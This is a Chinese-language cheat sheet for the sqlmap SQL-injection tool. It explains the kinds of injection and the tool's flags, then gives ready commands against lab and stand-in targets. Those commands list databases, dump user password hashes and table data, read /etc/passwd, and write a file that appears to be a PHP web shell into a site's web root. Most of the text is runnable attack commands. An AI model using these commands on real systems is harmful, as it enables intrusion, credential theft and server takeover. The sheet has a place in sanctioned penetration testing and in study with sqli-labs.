基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
基于布尔的盲注,即可以根据返回页面判断条件真假的注入
基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
联合查询注入,可以使用 union 的情况下的注入
堆查询注入,可以同时执行多条语句的执行时的注入
–banner:指纹信息
–batch:使用非交互式扫描,SQLMap将不会询问
–passwords 数据库用户所有密码
–dbs:获取数据库列表
–tables:获取所有的数据表
–columns:获取所有字段(列)
–dump:获取行数据
–D:指定数据库
–T:指定数据表
–C:指定字段,用逗号间隔
–user:当前用户
–current-db:当前数据库
–is-dba:是否为DBA(Database Administrator)
–version: 显示版本号
–v :
详细等级(0-6)
0:只显示python错误以及重要信息
1:显示信息以及警告
2:显示debug 消 息
3:显示注入payload
4:显示http请求
5:显示http响应头
6:显示http响应内容
-u 指定目标url
-d 直接连接数据库
-l 从burp代理日志的解析目标
-r 从文件中加载http请求
-g 从google dork 的结果作为目标url
-c 从INI配置文件中加载选项
-A 指定user-agent 开头
-H 额外的header
-method= 指定HTTP方法
-p 指定的参数
-r 从文件读取数据
-forms 自动判断注入
-sqlmap.py-u 登陆的地址
–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
–delay 延迟的时间
–safe-freq 次数
–tables -D “” 列出指定数据库中的表
./sqlmap.py -u “注入地址” -v 1 --dbs // 列举数据库
./sqlmap.py -u “注入地址” -v 1 --current-db // 当前数据库
./sqlmap.py -u “注入地址” -v 1 --users // 列数据库用户
./sqlmap.py -u “注入地址” -v 1 --current-user // 当前用户
./sqlmap.py -u “注入地址” -v 1 --tables -D “数据库” // 据库的表名
./sqlmap.py -u “注入地址” -v 1 --columns -T “表名” -D “数据库” // 获取表的列名
./sqlmap.py -u “注入地址” -v 1 --dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的数据,包含列
1. 指定目标url
sqlmap -u “http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1”
2. 从文件中获取多个url
sqlmap -m 1.txt
3. 从文件中加载http请求
sqlmap -r url.txt
4. 利用google获取目标
sqlmap -g “inurl:”.php?id=1""
5. 从burp日志中获取目标
sqlmap -l burp.txt
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.evil0x.com/ test.php?p=2 -f -b –current-user –current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.evil0x.com/ test.php?p=2 –privileges -U 用户名 -v 1
sqlmap -u http://www.evil0x.com/ test.php?p=2 –is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.evil0x.com/ test.php?p=2 –users –passwords -v 2
sqlmap -u http://www.evil0x.com/ test.php?p=2 –passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.evil0x.com/ test.php?p=2 –dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.evil0x.com/ test.php?p=2 –tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.evil0x.com/ test.php?p=2 –columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.evil0x.com/ test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2
8.file-read读取web文件
sqlmap -u http://www.evil0x.com/ test.php?p=2 –file-read “/etc/passwd” -v 2
9.file-write写入文件到web
sqlmap -u http://www.evil0x.com/ test.php?p=2 –file-write /localhost/mm.php –file-dest
./sqlmap.py -u “http://www.nxadmin.com/sql-injection.php?id=1” –file-write /test/test.txt –file-dest /var/www/html/1.txt
将本地的test.txt写入到站点服务器的html目录下。